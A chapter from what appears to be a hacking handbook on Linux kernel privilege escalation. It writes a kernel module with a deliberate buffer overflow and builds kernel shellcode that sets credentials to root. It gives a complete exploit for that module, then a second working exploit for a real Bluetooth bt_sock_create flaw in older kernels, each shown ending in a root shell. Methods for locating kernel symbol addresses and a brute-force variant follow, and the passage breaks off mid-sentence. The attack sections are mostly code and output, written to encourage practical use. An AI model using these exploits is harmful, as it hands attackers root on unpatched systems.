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Chapter 12 
 
 

Errors on the system kernel level 
 
 
 
 
Many elements influence the overall security level of the system. Application 
security is without doubt one of the most fundamental. Trained 
administrators habitually patch any programs containing errors. Not every 
one of them, however, realizes that the real danger can hide in the system 
kernel itself. 
 
Kernel errors 
 
The variety of attack techniques and the number of errors to be found in 
software is huge. We need look no further than discussion lists such as 
BugTraq, where every day we can see dozens of new “discoveries.” However, 
it turns out that not every piece of information can be useful to a hacker. 
Many errors can be used only after a certain action has been coaxed from the 
“victim.” In addition, the operating system itself protects against many of 
them. For example, projects such as GrSecurity or Libsafe practically prevent 
attacks on an application from being carried out. More interesting from the 
point of view of the attacker is the information about errors in the system 
kernel itself. 
 
Linux is a system whose kernel has a monolithic architecture. This means that 
it is coherent, it implements all elements required for the correct functioning 
of the system, such as control of the devices or the file system. The kernel has 
the ability to load modules during its function; however, they are introduced 
directly to the kernel code. Each element of the kernel works on the same 
level and with the same rights. There are many drawbacks to this structure, 
including from the system security point of view. 
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Errors in the main kernel code, which is responsible for memory allocation, 
process classification, and other important system operations, happen 
extremely rarely. This code was written many years ago and it seems to be 
robust, and thus secure. Despite this, hackers whose targets are the devices’ 
controllers have a better chance of finding errors. Their source code together 
with other kernel elements is many times bigger than the kernel itself. From 
the point of view of the hacker, there is no difference as to which location in 
the kernel the error is located. Even if it is in one of the modules, its 
exploitation will allow the acquisition of full privileges in the system, because 
the modules work with the same rights as the kernel. This is, without doubt, 
one of the biggest shortcomings of the monolithic architecture. 
 
The kernel errors are, therefore, much more attractive than errors in the 
user's applications. No security system protects from their exploitation. The 
Linux system kernel is written in the C language, so is it is susceptible to the 
majority of the same errors as simple applications are. In order to acquire the 
ability to exploit the most difficult of them, it is worth starting from the 
beginning. At the beginning we will therefore analyze the best known buffer 
overflow error. 
 
Buffer overflows --- a short reminder 
 
The buffer overflow attack consists, as the name suggests, in overwriting data 
located beyond the area in memory where writing usually takes place. Before 
reading the present chapter it makes sense to familiarize ourselves with the 
part of the handbook that describes this attack in detail on the application 
level. Here is a brief overview. 
 
Without doubt the best learning method is trying by example 
(/CD/Chapter12/Listings/bo.c): 
 
#include <stdio.h> 
#include <string.h> 
{ 
        char buf[16]; 
        strcpy(buf, argv[1]); 
        return 0; 
} 
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The above program copies the first argument into a 16-byte buffer. We will 
now set any size of the memory discharge file: 
 

 
Now we will compile the program and introduce as an argument a character 
sequence of the length of, for example, 40 bytes: 
 

 
The “core” file has been created, where the memory discharge of the program 
is found. We will now investigate why the program terminated with a 
segmentation error: 
 

 
The EIP and EBP registers contain the value 0x41414141; that is, “AAAA.” 
Our buffer was bigger than 16 bytes, therefore it “spilled” beyond the buf 
table. It overwrote the so-called stack frame, whose elements after returning 
from the main() function were copied to the appropriate registers. The EIP 
points to the currently executed code, so the program after the termination of 
main() jumped to the address 0x41414141, instead of the address of the code 
located in the previous function. This address does not belong to the process 
memory. The program has therefore been killed by the kernel using the 
SIGSEGV signal. If we overwrote the stack frame with the address, under 
which our code (the shellcode) is located, it would be started up like a normal 

bash-2.05b$ ulimit -c unlimited 

bash-2.05b$ gcc -o bo bo.c 
bo.c:9:2: warning: no newline at end of file 
bash-2.05b$ ./bo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault (core dumped) 

bash-2.05b$ gdb bo core 
GNU gdb 6.3 
… 
Core was generated by `./bo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. 
Program terminated with signal 11, Segmentation fault. 
Reading symbols from /lib/tls/libc.so.6...done. 
Loaded symbols for /lib/tls/libc.so.6 
Reading symbols from /lib/ld-linux.so.2...done. 
Loaded symbols for /lib/ld-linux.so.2 
#0  0x41414141 in ?? () 
(gdb) info reg ebp eip 
ebp           0x41414141       0x41414141 
eip             0x41414141       0x41414141 
(gdb)   
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function. The application is usually injected with the function code 
responsible for starting up the bash shell, causing the redirection of its 
function to the shellcode address. 
 
The attack on the kernel level will look very similar to an attack on an 
application as discussed earlier, but with some limiting elements. 
 
Susceptible kernel modules 
 
To demonstrate an attack on the kernel level, we have to insert an error in its 
code. We can do this in two ways: 
 
1. By modifying the kernel sources as needed and recompiling the whole code 
2. By creating a kernel module containing a code with errors 
 
Of course, it is less time consuming to use the kernel module. Therefore we 
will use this presentation form. 
 
Before going further it is advisable to have a look at other publications related 
to writing kernel modules. The reader will find additional information in the 
chapter on hiding processes by using the kernel modules. In addition, the 
“Linux Kernel Module Programming Guide,” available for download under 
the address below, is worth recommending: 
 

 
We want the module to contain the buffer overflow error. However in order 
for its exploitation to be possible, communication between the kernel and the 
user must also be possible. Such communication takes place usually in three 
possible ways: 
 
1. System calls, or syscalls. We are unable to create a new system call on the 
kernel module level. The only possibility is the substitution of the already 
existing system call, but this can lead to a system error. Therefore we won’t 
choose this possibility. 
 

http://tldp.org/LDP/lkmpg/2.6/lkmpg.pdf 
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2. /dev directory. The system devices are located in the /dev directory. The 
applications can communicate with devices through the kernel, thanks to the 
files located in the /dev directory. 
 
3. /proc directory. The /proc directory is the kernel file system. Through it the 
kernel provides information on processes, the system condition, and various 
statistics to the user. 
 
Our example will focus on this last point, because the creation of the file in 
/proc is relatively simple. Generally speaking, it limits itself to the following 
instructions. 
 

 
At the very beginning we declare the proc file structure. Next we create it 
using the create_proc_entry function. As the first argument this function 
assumes the name of the file to be created. The second argument is the rights 
to access the file, and the third is the structure of the parent directory in 
which it should be created. If it should be the main directory, we enter 0. 
After calling create_proc_entry(), our file has been created, but it does not 
really do anything yet. We therefore have to allocate the read and write 
service functions to it. When the user reads from the “/proc/file_name”, the 
read_proc function will be started, while writing will be served by the 
write_proc function. The header of the read service function looks as follows: 
 

 
The main task of this function is to write specific data into the “buf” buffer 
and return its length. The write_proc header looks like this: 
 

 
Before performing any operations on data located in the buffer, we should 
copy its content to the kernel memory. We now have enough information for 

        struct proc_dir_entry *entry; 
         
        entry = create_proc_entry("file_name", 0777, 0); 
        entry->read_proc = read_proc; 
        entry->write_proc = write_proc; 

static int read_proc(char *buf, char **start, off_t offset, int count, int *eof, void *data) 

static int write_proc(struct file *file, const char *buf, unsigned long count, void 
*data) 
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now to fully understand the example of a susceptible module 
(/CD/Chapter12/Listings/lkm.c). 
 
#include <linux/kernel.h> 
#include <linux/module.h> 
#include <linux/init.h> 
#include <linux/proc_fs.h> 
#include <asm/uaccess.h> 
 
#define BUFSIZ 16 
 
MODULE_LICENSE("GPL"); 
 
static int uptime_read_proc(char *buf, char **start, off_t offset, 
                             int count, int *eof, void *data) 
{ 
        int len; 
         
        len  = sprintf(buf, "%d\n", (int)jiffies); 
        *eof = 1; 
        return len; 
} 
 
static int uptime_write_proc(struct file *file, const char *buf, unsigned long count, 
                                          void *data) 
{ 
        char buffer[BUFSIZ]; 
        unsigned int length; 
        length = count; 
        copy_from_user(buffer, buf, length); 
        buffer[length] = '\0'; 
        printk("<1>%s\n", buffer); 
        return length; 
} 
 
static int __init init_procmod (void) 
{ 
 
        struct proc_dir_entry *entry; 
         
        entry = create_proc_entry("jiffies", 0777, 0); 
        entry->read_proc = uptime_read_proc; 
        entry->write_proc = uptime_write_proc; 
         
        return 0; 
} 
 
static void __exit exit_procmod (void) 
{ 
        remove_proc_entry ("jiffies", NULL); 
} 
 
module_init (init_procmod); 
module_exit (exit_procmod); 
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In the initiating function the module creates the proc file system element with 
the name “jiffies.” Its read service function writes the jiffies global variable to 
the buffer and returns the data length. The jiffies variable is the value of 
seconds that have elapsed since the system start. Our intentional error is 
located in the write service function. We copy the buffer entered by the user 
into the buffer located in the kernel memory (with fixed BUFSIZ size, or 16 
bytes): 
 

 
Unsurprisingly, the length variable is the value of the length of the user 
buffer. If it exceeds 16 bytes, we will go beyond the range of our memory area. 
To prevent this error from happening we should set the length variable in the 
following way: 
 

 
If the user buffer is longer that our buffer, we allocate the size value of our 
buffer to it. But if the user’s data length is less, we allocate the value of the 
data length to it. However, we will stay with the first erroneous version. After 
reading the user buffer into the kernel memory, we print it on the screen 
using printk(). A practical application of our module could be, for example, 
the modification of the jiffies variable value from the level of the write service 
function, which would enable a dynamic change in the system uptime. This is 
not a difficult task, so we’ll leave it to the reader. 
 
While unloading the module we have to delete the jiffies file. This is very 
important because if it continued to exist when our module is not in the 
kernel code, we could cause the system to freeze. 
 
Before we upload the module into the kernel, we have to compile it. For this 
purpose we can use the Makefile file below: 
 

 

copy_from_user(buffer, buf, length); 

length = count > (BUFSIZ - 1) ? (BUFSIZ - 1) : count; 

obj-m := lkm.o 
all: 
 make -C /usr/src/linux SUBDIRS=${PWD} 
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We write our example module under the lkm.c name and we give the make 
command: 
 

 
In the /usr/src/linux directory we have to possess the system kernel sources. If 
we don’t have them, we can download them from the page: 
 

 
The compilation method presented is correct for the 2.6 kernels. For older 
kernel versions the compilation looks like this: 
 

 
If everything ran without errors, we should obtain a ready-to-upload kernel 
module with the name lkm.ko (or for kernels before 2.4, lkm.o). We can now 
quietly upload it (as a root user) using the insmod command: 
 

 
After uploading our module became visible in the /proc/modules file (which 
is used by lsmod). As we can see, our file has been created correctly. Now, we 
will try to unload the module: 
 

bash-2.05b$ make 
make -C /usr/src/linux SUBDIRS=/home/users/ 
make[1]: entering directory `/usr/src/linux-2.6.26' 
  CC [M]  /home/users/lkm.o 
  Building modules, stage 2. 
  MODPOST 
  LD [M]  /home/users/lkm.ko 
make[1]: leaving directory `/usr/src/linux-2.6.26' 
bash-2.05b$ 

http://www.kernel.org 

bash-2.05b$ gcc -D_KERNEL_ -DMODULE -c -O2 uptime.c 

bash-2.05b# insmod lkm.ko 
bash-2.05b# lsmod 
Module                  Size   Used by 
lkm                      2432   0 
bash-2.05b# cat /proc/jiffies 
19424630 
bash-2.05b# 

bash-2.05b# rmmod lkm 
bash-2.05b# lsmod 
Module                   Size   Used by 
bash-2.05b# cat /proc/jiffies 
cat: /proc/jiffies: There is no such file nor directory 
bash-2.05b# 
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Everything is working faultlessly; the jiffies file has been deleted. Now we will 
take care of our error and upload the module once again:  
 

 
We will write some data to the /proc/jiffies file as common user, as the 
administrator’s privileges are not required for this purpose (we have defined 
this by calling the create_proc_entry() function): 
 

 
If we use a pseudoterminal in a graphical system, we won’t see the data 
printed by the kernel. These are printed only on the system terminal. But we 
can check them in the kernel log, performing the dmesg command. 
 

 
We will now try to transfer a buffer of 40 bytes to the kernel module. It 
should cause overwriting of the stack frame with the write service function: 
 

 
After performing this command our shell will probably be killed by the 
kernel. It will generate an Oops – a kernel exception. We can also examine 
this using dmesg: 
 

bash-2.05b# insmod lkm.ko 

bash-2.05b$ echo "AAAAAAA" > /proc/jiffies 
AAAAAAA 
bash-2.05b$ 

bash-2.05b$ dmesg 
... 
AAAAAAA 
bash-2.05b$ 

bash-2.05b$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > /proc/jiffies 

bash-2.05b$ dmesg 
... 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
 
Unable to handle kernel paging request at virtual address 41414141 
 printing eip: 
41414141 
*pgd = c6a5ce7000000000 
*pmd = c6a5ce7000000000 
Oops: 0000 [#49] 
PREEMPT SMP 
Modules linked in: lkm 
CPU:    0 
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EIP:    0060:[<41414141>]    Tainted: G S    VLI 
EFLAGS: 00010282   (2.6.26.8) 
EIP is at 0x41414141 
eax: 00000028   ebx: 41414141   ecx: c0423abc   edx: 00000286 
esi: 41414141   edi: c6a5cfa8   ebp: 00000028   esp: c6a5cf58 
ds: 007b   es: 007b   ss: 0068 
Process bash (pid: 6234, threadinfo=c6a5c000 task=c6bc65a0) 
Stack: 41414141 41414141 0a414141 00000000 c01904b8 c38074c0 080cbc08 00000028 
       c6a5cfa8 00000000 c38074c0 c38074c0 fffffff7 080cbc08 c6a5c000 c0190601 
       c38074c0 080cbc08 00000028 c6a5cfa8 00000000 00000000 00000000 00000001 
Call Trace: 
 [<c01904b8>] vfs_write+0xb8/0x130 
 [<c0190601>] sys_write+0x51/0x80 
 [<c0135159>] sysenter_past_esp+0x52/0x79 
Code:  Bad EIP value. 

 
At the beginning we see our data, meaning they managed to be printed on 
time, and that the service function has been fully executed. After the return 
instruction, it copied the EIP register copy from the stack frame into the 
processor register. The stack frame has been fully overwritten by the “AAAA” 
values. This can be easily seen in the log: 
 

 
There were no process data under the address 0x41414141; it has therefore 
been killed immediately, which also can be seen in the log: 
  

  
Because the error occurred on the kernel level and not on the application 
level, we were able to document the whole incident. The log also contains the 
program stack, information about the process itself, the values of all registers, 
and the path where the error occurred (Call Trace). This information is very 
useful for developers during debugging, and it helps us when exploiting the 
error. 
 
We can now cause a process jump in the kernel to any address. Therefore, 
there is nothing stopping us from exploiting this. 
 
 
 
 

EIP is at 0x41414141 

Code:  Bad EIP value. 
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Creating a shellcode 
 
Our first task before starting the attack will be to create an appropriate 
shellcode. During attacks on user applications, our injected code usually has 
to increase process rights and to call the shell. In the case of the kernel, things 
are slightly different. Starting new processes using the exec() system call from 
the kernel level is not recommended. It’s better to create a shellcode that will 
change the privileges of the current process. 
 
The current user identifier is stored in the task_struct process structure. We 
can refer to the “current” pointer to this structure for the currently executed 
program from the kernel level. Therefore, the easiest method to increase 
process rights is to execute the following instructions from the kernel level: 
 

 
These will change the effective and ineffective identifier of the user and the 
group to zero; in other words, the one allocated to the root user. In theory, 
after performing these instructions, our attack should terminate with success. 
Unfortunately that won’t happen. 
 
Shellcodes intended for a user application never end, meaning they start a 
new system process, the bash shell. While in the kernel we do not have this 
ability. Our shellcode will terminate with the return instruction, which will 
end the action of the current function (the shellcode) and will jump to the 
previous function. Here lies our problem. By overwriting the stack frame, we 
change the value of the EBP register, which also plays an important role 
during the program function. After performing another return instruction, 
the kernel will attempt to download EIP from an incorrect location, which 
will cause a kernel exception and our program will be killed, so increasing its 
rights won’t do anything. The problem could be solved by attempting to 
overwrite the EBP copy with such a value, which after executing the shellcode 
will direct the process to an appropriate location. There is, however, a much 
easier way. 
 

current->euid = current->uid = 0; 
current->egid = current->gid = 0; 
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We have the possibility of executing any code on the kernel level. We know 
already that raising our own rights won’t bring any results, because our 
application will be killed anyway. But why don’t we increase the rights to 
another process belonging to us? We have access to the whole kernel memory 
and can modify literally every fragment of the memory. However, how can 
we find an appropriate process in the system whose rights we want to raise? 
We can search the process list using the for_each_process() macro and find 
one with an appropriate identifier. But it will be easier to access another 
process of ours with the help of the task_struct structure. This contains the 
field “parent,” which is the pointer to the task_struct structure of the parent 
process: 
 

         
After executing such a shellcode we increase the rights of the parent process 
and then we will be killed by the kernel. The parent process, however, will 
continue with administrator privileges. To create the shellcode we have to 
discover what the above instructions look like in the binary version. The 
simplest way to do this is to compile an example kernel module 
(/CD/Chapter12/Listings/modul.c): 
 

 

current->parent->euid = current->parent->uid = 0; 
current->parent->egid = current->parent->gid = 0; 

#include <linux/kernel.h> 
#include <linux/module.h> 
#include <linux/init.h> 
 
MODULE_LICENSE("GPL"); 
static int shellcode(void) 
{ 
        current->parent->euid = current->parent->uid = 0; 
        current->parent->egid = current->parent->gid = 0; 
        return 0; 
} 
static int __init init_mod (void) 
{         
        return 0; 
} 
static void __exit exit_mod (void) 
{ 
} 
 
module_init (init_mod); 
module_exit (exit_mod); 
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We will call this shellcode.c. Before we start compiling we have to remember 
to change the appropriate entry in Makefile.  
 
After doing this we perform the make command: 
 

 
We don’t have to worry about the warnings, because we won’t be loading our 
module anyway. We have compiled it only to obtain the instructions in the 
binary version. To “extract” from the shellcode.ko file we will use the 
objdump tool: 
 

bash-2.05b$ make 
make -C /usr/src/linux SUBDIRS=/home/users 
make[1]: entering directory `/usr/src/linux-2.6.26' 
  CC [M]  /home/users/shellcode.o 
/home/users/shellcode.c:25:24: warning: no newline at end of file 
/home/users/shellcode.c:8: warning: `shellcode' defined but not used 
  Building modules, stage 2. 
  MODPOST 
  CC      /home/users/shellcode.mod.o 
  LD [M]  /home/users/shellcode.ko 
make[1]: leaving directory `/usr/src/linux-2.6.26' 
bash-2.05b$   

bash-2.05b$ objdump -D shellcode.ko 
 
shellcode.ko:     file format elf32-i386 
 
Disassembly of section .text: 
 
00000000 <shellcode>: 
   0:   ba 00 f0 ff ff            mov     $0xfffff000,%edx 
   5:   31 c9                     xor     %ecx,%ecx 
   7:   21 e2                     and     %esp,%edx 
   9:   8b 02                     mov     (%edx),%eax 
   b:   8b 80 a0 00 00 00         mov     0xa0(%eax),%eax 
  11:   89 88 7c 01 00 00         mov     %ecx,0x17c(%eax) 
  17:   31 c9                     xor     %ecx,%ecx 
  19:   89 88 80 01 00 00         mov     %ecx,0x180(%eax) 
  1f:   8b 02                     mov     (%edx),%eax 
  21:   31 c9                     xor     %ecx,%ecx 
  23:   31 d2                     xor     %edx,%edx 
  25:   8b 80 a0 00 00 00         mov     0xa0(%eax),%eax 
  2b:   89 88 8c 01 00 00         mov     %ecx,0x18c(%eax) 
  31:   89 90 90 01 00 00         mov     %edx,0x190(%eax) 
  37:   31 c0                     xor  %eax,%eax 
  39:   c3                        ret 
  3a:   90                        nop 
  3b:   90                        nop 
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Now we put all the binary values of the instruction data into the form of a 
character sequence. The last two “nop” instructions are superfluous, so we 
omit them: 
 

         
We don’t have to worry about the zero bytes that are to be found in the 
shellcode. In the case of the user application this was important, because we 
could transfer to them only strings ending with zero. In the case of the kernel, 
our shellcode will be placed directly in the exploit and started from its 
memory. As a result, we don’t have to worry about its size or content. 
 
Exploit 
 
We already have enough information to take advantage of the error. We can 
therefore start writing the exploit. 
 
The sequence for our exploit should be: 
 
- Create a new process with help of the fork() function. 
- In the child process write our buffer into the /proc/jiffies file (with a size of, 
e.g., 32 bytes). It will consist of addresses to our shellcode. 
- In the parent process, wait for termination of the child using the wait() 
function. 
- Check if it obtained administrator privileges. 

char shellcode[] =  
        "\xba\x00\xf0\xff\xff" 
        "\x31\xc9" 
        "\x21\xe2" 
        "\x8b\x02" 
        "\x8b\x80\xa0\x00\x00\x00" 
        "\x89\x88\x7c\x01\x00\x00" 
        "\x31\xc9" 
        "\x89\x88\x80\x01\x00\x00" 
        "\x8b\x02" 
        "\x31\xc9" 
        "\x31\xd2" 
        "\x8b\x80\xa0\x00\x00\x00" 
        "\x89\x88\x8c\x01\x00\x00" 
        "\x89\x90\x90\x01\x00\x00" 
        "\x31\xc0" 
        "\xc3"; 
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- If yes, start up the sh shell. If not, report the information about the error and 
terminate the action. 
 
We cannot inject shellcode anywhere; we put it in the global table. Its address 
is stable, and known to the program, and thanks to this we don’t have to use 
offsets nops, as we do when exploiting errors in common applications. 
 
Below is a simple exploit code with comments 
(/CD/Chapter12/Listings/exploit.c): 
 

 

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
 
/* Buffer size that we will write into the file, therefore we will overwrite 16 bytes */ 
#define SIZE 32 
 
/* shellcode changing privileges of the parent process */ 
char shellcode[] =  
        "\xba\x00\xf0\xff\xff" 
        "\x31\xc9" 
        "\x21\xe2" 
        "\x8b\x02" 
        "\x8b\x80\xa0\x00\x00\x00" 
        "\x89\x88\x7c\x01\x00\x00" 
        "\x31\xc9" 
        "\x89\x88\x80\x01\x00\x00" 
        "\x8b\x02" 
        "\x31\xc9" 
        "\x31\xd2" 
        "\x8b\x80\xa0\x00\x00\x00" 
        "\x89\x88\x8c\x01\x00\x00" 
        "\x89\x90\x90\x01\x00\x00" 
        "\x31\xc0" 
        "\xc3"; 
         
int main() 
{ 
        char buf[SIZE]; 
        int fd, i; 
        int *tmp = (int*)&buf; 
 
        if(!fork()) 
        { 

        /* Here is the child process */ 
        /* If we don’t manage to open the file, we report an error */ 

                fd = open("/proc/jiffies", O_RDWR); 
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We will now save the above code under the name exploit.c, and then we will 
compile it: 
 

 
We will make sure that our susceptible kernel module is uploaded. If yes, we 
can start up the exploit: 
 

 

                if(fd == -1) 
                { 
                        perror(""); 
                        exit(-1); 
                } 

        /* We fill the buffer with shellcode addresses */ 
                for(i = 0; i < SIZE; i += 4, tmp++) 
                        *tmp = (int)&shellcode; 
                         
                *tmp = '\0'; 

        /* We write data into the file */ 
                write(fd, buf, sizeof(buf)); 

        /* We won’t arrive here because the kernel is killing us */ 
                exit(0); 
        } 

/* Here is the parent process */ 
        /* We wait for the termination of the child action */ 
        wait(&i); 

/* If we don’t obtain root privileges we report an error */ 
         
if(geteuid()) 
        { 
                printf("Exploit Failed\n"); 
                exit(-1); 
        } 
 

/* If we are here, we have managed to correctly exploit the module */ 
        printf("uid: %d | gid: %d\n", getuid(), getgid()); 

/* Therefore we start up sh */ 
        execl("/bin/sh", "sh", NULL); 
        return 0; 
} 

bash-2.05b$ gcc -o exploit exploit.c 

bash-2.05b$ ./exploit 
uid: 0 | gid: 0 
sh-2.05b# id 
uid=0(root) gid=0(root) 
sh-2.05b# exit 
exit 
bash-2.05b$ 
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Everything went as we thought it would. In the kernel log the information 
about killing the child process will be available; however, we have executed 
our task. 
 
As we can see, the exploitation of buffer overflow errors on the kernel level is 
not a difficult task. Now we have got to know the technique, replicating it in 
other cases shouldn’t present any difficulties to the reader. 
 
Unfortunately, it is rare for modules containing such obvious errors to be 
uploaded to the system. For our own security it is worth unloading our 
erroneous module from the kernel. However, there exist other known errors 
that are just as easy to exploit. We now possess the basic ability to create a 
suitable shellcode. Nothing can hinder us from using the knowledge we have 
acquired in practice. 
 
Real-life example - Bluetooth 
 
Nothing is a better teacher than a good example, especially if it is a real 
example. The knowledge we gained using our example module can also be 
applied successfully to other tasks. We will now try to exploit a real error, 
which will allow us to gain administrator privileges. 
 
We saw earlier that discussion lists such as BugTraq can provide us with 
helpful information, such as this link to an interesting document:  
 

 
This document describes an error in Linux that can be found in all kernel 
versions from 2.6 to 2.6.11.5 and in many kernels of version 2.4. The error 
regards functions related to the implementation of the Bluetooth protocol, 
specifically the bt_sock_create() function for creating a new socket. 
Unfortunately the standard kernel configuration does not contain an entry 
for the Bluetooth stack. Therefore if somebody builds a system by himself it is 
almost certainly immune. On the other hand, many Linux distributions 
compile the Bluetooth service directly into the kernel, or as a module. 
Possessing an exploit for this error will certainly prove useful sooner or later. 

http://www.suresec.org/advisories/adv1.pdf 
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Let’s take a closer look at the error itself. We will now open the file 
net/bluetooth/af_bluetooth.c, belonging to the kernel resources, and will find 
the bt_sock_create() function. 
 

 
The error consists in insufficient checking of the “proto” variable: 
 

                 
It is declared to be int. If we transfer a negative value to it, this condition will 
be fulfilled. Next the key line is: 
 

 
Therefore we can transfer any negative value as proto and it will be used in 
the bt_proto[] table index. It points to the net_proto_family structure, which 
looks like this: 
 

static int bt_sock_create(struct socket *sock, int proto) 
{ 
        int err = 0; 
 
        if (proto >= BT_MAX_PROTO) 
                return -EINVAL; 
 
#if defined(CONFIG_KMOD) 
        if (!bt_proto[proto]) { 
                request_module("bt-proto-%d", proto); 
        } 
#endif 
        err = -EPROTONOSUPPORT; 
        if (bt_proto[proto] && try_module_get(bt_proto[proto]->owner)) { 
                err = bt_proto[proto]->create(sock, proto); 
                module_put(bt_proto[proto]->owner); 
        } 
        return err;  
} 

        if (proto >= BT_MAX_PROTO) 
                return -EINVAL; 

err = bt_proto[proto]->create(sock, proto); 

struct net_proto_family { 
        int             family; 
        int             (*create)(struct socket *sock, int protocol); 
        short           authentication; 
        short           encryption; 
        short           encrypt_net; 
        struct module   *owner; 
}; 
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Calling bt_proto[proto]->create() will start a function whose address will 
contain four bytes (because it is the second element of the structure) under 
the address indicated by bt_proto[proto]. All we have to do is to create an 
appropriate structure, put it into the process memory, and give the function 
bt_sock_create() a value for the “proto” variable that will hit our structure in 
the memory, whose “create” element will point to the shellcode. 
 
This task doesn’t seem to be difficult. We can therefore start writing the 
exploit. 
 
Creating an exploit 
 
At the beginning we have to discover how to start up the bt_sock_create() 
function. It is neither a system call nor it is called by any device or the proc 
file. We know that it serves to create a socket for the Bluetooth protocol. For 
this purpose the kernel provides the user with one function – socket(). By 
transferring its specific arguments we can create a Bluetooth socket: 
 

 
The “proto” variable will possess the “offset” value. The PF_BLUETOOTH 
flag tells the system that the bt_sock_create() function has to be used to create 
the socket. 
 
Another issue is the shellcode. This time we are not overwriting anything; we 
simply call the function located under a given address. After calling our 
shellcode the kernel will return to the previous action as standard. We can, 
without worry, change the privileges of our own process and not those of the 
parent, using: 
 

 
We prepare the shellcode in the same way as before. In the shellcode we 
return -1 at the end the value to inform us about unsuccessful socket creation. 

socket(PF_BLUETOOTH, SOCK_RAW, offset); 

current->euid = current->uid = 0; 
current->egid = current->gid = 0; 
return -1; 
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Otherwise the kernel would cause an error in the sys_socket() function. The 
code increasing rights will appear as follows: 
 

 
There is still one element missing. How can we know what value we should 
enter in the proto variable? The value bt_proto[proto] has to point to the 
address of our basic structure. Therefore we have to subtract the address of 
our variable from the address of the bt_proto[] table, to which we will allocate 
the value of the address of the fake structure. We do this in the following way: 
 

 
The bt_proto[] address is located somewhere in the address space from 
0xc0000000 to 0xffffffff; these are addresses intended exclusively for the 
kernel. Our “ret” variable will be located on the stack, somewhere under 
0xbf*. The result of the subtraction will be therefore positive, and in our case 
it has to be a negative number. This is not a problem as all we need to do is to 
change the offset value to a negative number: 
 

 
We lack still one main element without which we cannot calculate the offset 
correctly. So where can we take the address of the bt_proto[] table from? If 
the Bluetooth service has been compiled as a module and it is currently 
uploaded, we can easily read the table address using the /proc/kallsyms file 
(or in 2.4 kernels, /proc/ksyms): 
 

 
However, if the service of the Bluetooth protocol is compiled statically, the 
address won’t be visible there. 
 

        char shellcode[] = 
        "\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a" 
        "\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b" 
        "\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90" 
        "\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3"; 

offset = (BT_PROTO_ADDR - (unsigned int)&ret)/4; 

offset = -offset; 

bash-2.05b$ cat /proc/kallsyms | grep bt_proto 
0xc04f1a60 T bt_proto [bluetooth] 
bash-2.05b$ 
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 In the second case we can use the System.map file, which contains all kernel 
symbols: 
 

 
Unfortunately, if the administrator compiles a new kernel and forgets to 
update this file, our attack won’t succeed. It is worth checking to see if the 
current version is in the /usr/src/linux folder. If we still cannot attempt to 
extract it from the kernel itself: 
 

 
If we somehow manage to extract the address of the bt_proto[] table, we can 
use it in the real exploit (/CD/Chapter12/Listings/exploit2.c):  
 

bash-2.05b$ grep bt_proto /boot/System.map 
c04f1a60 b bt_proto 

bash-2.05b$ gdb /usr/src/linux/vmlinux  
GNU gdb 6.3 
… 
(gdb) print &bt_proto 
$1 = (<data variable, no debug info> *) 0xc04f1a60 
(gdb) 

#include <unistd.h> 
#include <sys/socket.h> 
 
/* Address of the bt_proto table in the kernel */ 
#define BT_PROTO_ADDR 0xc04f1a60 
char shellcode[] = 
"\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a" 
"\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b" 
"\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90" 
"\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3"; 
 
/* Definition of the y net_proto_family structure */ 
struct net_proto_family { 
        int             family; 
        int             (*create)(int *sock, int protocol); 
        short           authentication; 
        short           encryption; 
        short           encrypt_net; 
        int             *owner; 
}; 
 
int main() 
{ 
        int i; 
        int ret; 
        unsigned int offset; 
        struct net_proto_family *bt_proto; 
        /* We allocate memory for our fake structure */ 
 



Errors on the system kernel level 232 

 

 
        bt_proto = (struct net_proto_family *) malloc(sizeof(struct net_proto_family)); 
        memset(bt_proto, 0, sizeof(struct net_proto_family)); 
        /* We allocate the address of our shellcode to the create pointer */ 
        bt_proto->create = (int*)shellcode; 
        /* We set the appropriate address */ 
        ret = (int)bt_proto; 
        /* We calculate offset that is "proto" */ 
        offset = (BT_PROTO_ADDR - (unsigned int)&ret)/4; 
        offset = -offset; 
        /* We are calling the functions bt_sock_create through socket() */ 
        socket(PF_BLUETOOTH, SOCK_RAW, offset); 
         
/* If we haven’t obtained the administrator privileges we terminate the action with an 
error */ 
        if(geteuid()) 
        { 
                perror("Exploit Failed"); 
                exit(-1); 
        } 
        /* And if we have root privileges we call sh */ 
        printf("uid: %d | gid: %d\n", getuid(), getgid()); 
        execl("/bin/sh", "sh", NULL); 
        return 0; 
} 

 
As we can see, its code is relatively short and rather easy to understand. Let’s 
test it: 
 

 
Such an easy code can give us administrator privileges on many susceptible 
Linux systems.  
 
Lack of address of bt_proto table 
 
It is possible that none of the presented examples of gaining the bt_proto 
address will produce the desired effect. In theory the address can be gained in 
almost every situation using the kernel log. After giving the wrong address we 
can examine Oops, check the address under which the error occurred and 
correct our address. Unfortunately patches such as GrSecurity forbid a 

bash-2.05b$ gcc -o exploit2 exploi2t.c 
bash-2.05b$ ./exploit2 
uid: 0 | gid: 0 
sh-2.05b# id 
uid=0(root) gid=0(root) 
sh-2.05b# exit 
exit 
bash-2.05b$  
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common user to view the kernel log. It is therefore better to write a brute 
exploit, which will check all possible addresses till it finds the right one. The 
changes in the exploit code are minimal. Instead of using one “ret” variable 
pointing to our fake structure, we can use a bigger buffer filled with these 
addresses. In this way we will minimize the number of attempts performed. 
When calculating the offset we should use addresses from the range 
0xc0000000 - 0xffffffff. The bt_proto table can hide under every one of them. 
The exploit’s body will be a loop, whose task is to: 
 
- Create a new child process. 
- Calculate an appropriate offset and call the socket() function in the child 
process. 
- Wait for termination of the child action. If it terminated its action with an 
error, check other addresses (in our case increase the bt_proto address by 
0x100000) in the parent process. 
 
The use of a buffer of the size of 0x100000 bytes provides us with a vast 
opportunity to hit the error. After at most a couple of dozen attempts we 
